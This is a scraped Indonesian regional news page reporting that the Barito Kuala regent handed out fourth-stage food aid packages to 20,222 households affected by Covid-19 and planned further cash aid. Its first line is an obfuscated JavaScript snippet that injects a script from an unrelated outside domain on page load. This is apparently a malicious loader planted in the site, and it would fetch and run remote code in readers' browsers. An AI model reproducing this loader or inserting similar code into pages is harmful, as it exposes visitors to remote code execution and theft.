(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Bupati Barito Kuala (Batola) Hj Noormiliyani AS mulai membagikan paket sembako tahap 4 untuk 20.222 Kepala Keluarga (KK) tidak mampu dan terdampak Covid-19 se-Batola, Rabu (22/7/2020).
Pembagian dilaksanakan di halaman Gedung Serba Guna, Jl Jenderal Sudirman, Komplek Perkantoran Marabahan. Secara simbolis, Bupati Noormiliyani menyerahkan bantuan tersebut kepada tiga perwakilan camat. Yaitu Camat Rantau Badauh, Jejangkit dan Mandastana.
Didampingi Kepala Bappelitbang Zulkifli Yadi Noor, Kadinsos Fuad Syekh, Kadiskoperindag Purkan, dan Kalak BPBD Sumarno, Bupati Noormiliyani menerangkan, pembagian paket sembako tahap 4 ini menyesuaikan kebijakan pusat. Sehingga kisaran nilainya berbeda dari pembagian tahap 1, 2, dan 3.
“Kalau dulu baik itu BST maupun BLTDD per KK-nya Rp600 ribu selama tiga bulan tapi sekarang memasuki bulan Juli, Agustus dan September kita menyesuaikan dengan rata-rata per KK hanya Rp100 ribu,” katanya.
Noormiliyani mengatakan seyogyanya pembagian paket kali ini didampingi bantuan provinsi Rp100 ribu per KK sehingga totalnya menjadi Rp200 ribu. Namun karena terkendala hal teknis sehingga yang dibagikan kali ini hanya berasal dari kabupaten .
“Mudah-mudahan sebelum lebaran Idul Adha ini bantuan dari provinsi itu bisa terealisasikan sehingga dapat tersalurkan kembali ke masyarakat,” paparnya sembari menyatakan, apa yang diupayakan Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Batola ini sudah menjadi pertimbangan terbaik.
Di kesempatan pembagian paket sembako tahap 4 ini, mantan Ketua DPRD Provinsi Kalsel itu, juga mengutarakan adanya rencana pembagian bantuan tunai kepada masyarakat yang sama sekali belum pernah mendapatkan bantuan. Ia mengatakan, pembagian melalui rekening kepada 5.000-an warga yang datanya masuk di Crisis Center itu rencananya dimulai Agustus dengan besaran masing-masing sebesar Rp200 ribu. Karenanya, kepada para camat diharapkan mengirimkan data serta rekening para penerima di wilayah kecamatan masing-masing.
“Jadi kami minta rekening mereka dan apabila belum memiliki nanti ada pihak yang melakukan kerjasama untuk membukakan rekening sehingga masyarakat tinggal siap sedia,” paparnya.(kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.